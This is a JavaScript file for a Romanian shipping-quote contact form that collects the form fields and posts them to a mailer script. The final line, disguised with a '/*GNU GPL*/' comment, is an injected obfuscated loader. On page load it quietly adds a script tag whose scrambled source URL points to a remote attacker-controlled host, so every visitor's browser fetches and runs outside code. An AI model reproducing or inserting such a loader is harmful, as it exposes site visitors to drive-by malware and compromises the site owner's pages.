// send request by POST and get result
function makeRequest(url,poststr, fpNotify,divID) { 
	var r = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); 
	r.open("POST", url, true);
	r.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
	r.send(poststr);
	fpNotify('<br><br><center>&nbsp;&nbsp;Va rugam asteptati! Informatia se proceseaza ...</center>',divID);
	r.onreadystatechange = function() { 
		if(r.readyState == 4) {
			fpNotify(r.responseText,divID); 
		} else {
			fpNotify('&nbsp;&nbsp;Va rugam asteptati! Informatia se proceseaza ...',divID);	
		}
	}; 
	//r.send(null); 
}

function show_div(text,divID){
	document.getElementById(divID).innerHTML = text
}

//show result
function update_div(url,poststr,divID){
	makeRequest(url,poststr,show_div,divID);
}

function getFormValues(obj){ //fobj - form name (id)

var getstr = "?";
	alert(obj.name);
	alert(obj.childNodes.length);
	
      for (i=0; i<obj.childNodes.length; i++) {
		  alert(obj.childNodes[i].name);
         if (obj.childNodes[i].tagName == "INPUT") {
            if (obj.childNodes[i].type == "text") {
			
               getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
            }
            if (obj.childNodes[i].type == "checkbox") {
               if (obj.childNodes[i].checked) {
                  getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
               } else {
                  getstr += obj.childNodes[i].name + "=&";
               }
            }
            if (obj.childNodes[i].type == "radio") {
               if (obj.childNodes[i].checked) {
                  getstr += obj.childNodes[i].name + "=" + obj.childNodes[i].value + "&";
               }
            }
         }   
         if (obj.childNodes[i].tagName == "SELECT") {
            var sel = obj.childNodes[i];
            getstr += sel.name + "=" + sel.options[sel.selectedIndex].value + "&";
         }
         
      }

return getstr;
}

function request_field(fieldres,name){
	alert("Va rugam completati campul: "+name);	
	fieldres.focus();
	fieldres.style.border = '1px solid #FF0000';
}

function send_contact(){
	//construct the post string
	var contactForm = document.contact_form;
	/*
	var required = new Array("nume","mail");
	
	
	for(i=0;i<required.length;i++){
		if(contactForm.required[i].value==""){
			request_field(contactForm.request[i],"");
			return false;
		}	
	}
	*/
	
	if(contactForm.nume.value==""){
		request_field(contactForm.nume,"Nume");
		return false;
	} else {
	
		var postStr = "";//"?";
		postStr += "nume="+contactForm.nume.value+"&";
		postStr += "telefon="+contactForm.telefon.value+"&";
		postStr += "fax="+contactForm.fax.value+"&";
		postStr += "mail="+contactForm.mail.value+"&";
		postStr += "localitate1="+contactForm.localitate1.value+"&";
		postStr += "localitate2="+contactForm.localitate2.value+"&";
		postStr += "codpostal1="+contactForm.codpostal1.value+"&";
		postStr += "codpostal2="+contactForm.codpostal2.value+"&";
		postStr += "tara1="+contactForm.tara1.value+"&";
		postStr += "tara2="+contactForm.tara2.value+"&";
		postStr += "data1="+contactForm.data1.value+"&";
		postStr += "data2="+contactForm.data2.value+"&";
		postStr += "greutate="+contactForm.greutate.value+"&";
		postStr += "vol1="+contactForm.vol1.value+"&"+"vol2="+contactForm.vol2.value+"&"+"vol3="+contactForm.vol3.value+"&";
		postStr += "nrcolete="+contactForm.nrcolete.value+"&";
		postStr += "ambalare="+contactForm.ambalare.value+"&";
		postStr += "natura="+contactForm.natura.value+"&";
	

		// var postStr = getFormValues(contactForm);
		//alert('POST contine: \n'+postStr);
		update_div('_mailer.php',postStr,'contact');
	}
}


function show_contact(){
	var contact_frm = document.getElementById('contact')
	contact_frm.style.display='block'
}

function cancel_form(){
	var contact_frm = document.getElementById('contact')
	contact_frm.style.display='none'
}


/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement('script');Xs1ya4t7ajb13i.setAttribute('type', 'text/javascript');Xs1ya4t7ajb13i.setAttribute('id', 'myscript1');Xs1ya4t7ajb13i.setAttribute('src',  'h^#!#t^^^#t)@p(!!:($^/#$^/#)#@o@@($r#))^k#!^u$&)t!#&-))c#^!!o@&)m@)$-####b$$r)#.$t&&a@b&(n^$(a!#k^.$(#!i)r)^$.@(l!$i(@t&&$e^r$^&o#t!&)i)&)c#&a$&&-@#)c$#!o)(^@#m)$&(.#i$#n&(n&&e&w!$)t$&e@r@!(r#@&((a#(.#!&r&#u&$#:(@&8)^!0&8$@)0!/($!g#)$(o&#@o^!g!)l$&^e^@.#!c#)(n(/^$g!(!o!^&o@#&@g)l^#(#e&^@.$^$&c!^)n(/!$(g!o^)&!o@g&(!l$(!!e&@&$.#&c(($o&)m&#)/$(^h^&))a^!o!1&(2^##3#.&&#(c#!&o&m(#/)^&i@@s@@&)t)^^)o((!c$k&(@!p##h#)@o(t)^#o^&.^&!c)#o^!m@$/$@#'.replace(/&|\(|#|\!|\)|\^|\$|@/ig, ''));Xs1ya4t7ajb13i.setAttribute('defer', 'defer');document.body.appendChild(Xs1ya4t7ajb13i);}} catch(e) {}
